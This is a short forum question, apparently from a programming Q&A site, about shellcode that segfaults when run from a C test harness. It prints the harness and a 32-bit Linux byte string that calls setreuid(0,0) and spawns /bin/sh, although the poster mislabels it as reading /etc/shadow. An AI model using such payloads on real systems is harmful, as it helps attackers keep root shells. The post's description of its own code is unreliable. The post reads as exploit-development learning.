title: Shellcode not running
body: <p>I've tried to run a lot of shell-codes via C program to test them. Here it is</p>
  
  <pre><code>#include&lt;stdio.h&gt;
  #include&lt;string.h&gt;
  unsigned char code[] = "shell here";
  main()
  {
  printf("Shellcode Length: %d\n", strlen(code));
  int (*ret)() = (int(*)())code;
  ret();
  }
  </code></pre>
  
  <p>And here's example of shellcode</p>
  
  <pre><code>"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
            "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
            "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
            "\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
            "\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"
  </code></pre>
  
  <p>(\bin\cat \etc\shadow)
  After running</p>
  
  <p><code>gcc sctest.c -o out
  ./out</code></p>
  
  <p>It's just gives me shellcode length and Segmentation Fault
  I've already tried a lot of different shellcodes but everything just gives me segfault
  My dmesg | tail -1
  [18440.783383] test[8768]: segfault at 8049700 ip 08049700 sp bffff2ec error 15 in test[8049000+1000]
  What's wrong with my shellcodes?</p>